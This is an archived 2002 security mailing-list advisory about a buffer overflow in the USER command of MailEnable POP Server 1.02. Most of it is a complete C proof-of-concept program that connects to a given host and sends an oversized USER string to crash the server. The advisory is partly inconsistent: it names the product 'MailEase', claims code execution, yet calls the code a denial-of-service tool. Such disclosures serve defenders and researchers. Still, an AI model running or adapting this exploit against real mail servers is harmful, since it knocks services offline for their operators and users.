[NT] MailEase POP3 Denial of Service
From: support@securiteam.com
Date: 11/21/02
- Previous message: support@securiteam.com: "[NT] Eudora Script Execution Vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: 21 Nov 2002 12:21:24 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
Beyond Security would like to welcome Tiscali World Online
to our service provider team.
For more info on their service offering IP-Secure,
please visit http://www.worldonline.co.za/services/work_ip.asp
- - - - - - - - -
MailEase POP3 Denial of Service
------------------------------------------------------------------------
SUMMARY
<http://www.mailenable.com/> MailEnable's Messaging Services Platform is
a powerful and scalable hosted messaging platform for the Microsoft
Windows platform. All the elements of a professional and high performance
mail server have been integrated into MailEnable with all the difficult
and tedious aspects removed.
DETAILS
A vulnerability in the USER allows remote attackers to execute arbitrary
code.
Exploit:
USER Ax2009 will over write strcmp();
Here's the code to hang the pop3 server:
/*
*
* Written by redsand
* <redsand@redsand.net>
* Vuln. date found: November 18. 2002
* Vulnerable: Windows 9x/NT/XP MailEnable POP Server Version 1.02
*
* Usage: ./mailenable-dos.1.3 <host> [port] [port] is optional. default is
in the #define (port 110)
* Need to Enable [offset] in final release.
*
* Proof of Concept code (PoC)
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define PORT 110
char string[2010];
char death[2500];
char top[5], end[50];
char tag[] = "::redsand.net::";
int main(int argc, char *argv[]) {
int sockfd, port, i;
char buf[2500];
struct hostent *ha;
struct sockaddr_in sa;
if (argc < 2 ) {
printf("MailEnable POP Server Version 1.02 DoS\n:: redsand <at>
redsand.net\r\nUsage: %s <host> <port>\n", argv[0]);
exit(0);
}
if (argv[2]) {
port = atoi(argv[2]);
} else { port = PORT; }
for( i = 0; i <2009; i++) {
string[i] = 'A';
}
strcpy(top,"USER ");
strcpy(end,tag);
strcpy(death,top);
strcat(death,string);
strcat(death,end);
if (!(ha = gethostbyname (argv[1])))
perror ("gethostbyname");
bzero (&sa, sizeof (sa));
bcopy (ha->h_addr, (char *) &sa.sin_addr, ha->h_length);
sa.sin_family = ha->h_addrtype;
sa.sin_port = htons (port);
if ((sockfd = socket (ha->h_addrtype, SOCK_STREAM, 0)) < 0) {
perror ("socket");
exit (1);
}
printf("MailEnable :: redsand <at> redsand.net\r\n+ connecting...\n");
if (connect (sockfd, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
perror ("connect");
exit (1);
}
printf("+ connected\n+ sending request to pop3 server\n");
send(sockfd, death, sizeof(death), 0);
// read(sockfd, buf, 2050, 0);
close(sockfd);
printf("+ finished\n");
printf("\r\rIf exploit worked, then it should bind port on 3879\n");
}
/* redsand.net */
ADDITIONAL INFORMATION
The information has been provided by <mailto:redsand@redsand.net> TJ
Shelton.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Next message: support@securiteam.com: "[NEWS] iPlanet WebServer Vulnerable to Remote Root Compromise"
- Previous message: support@securiteam.com: "[NT] Eudora Script Execution Vulnerability"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|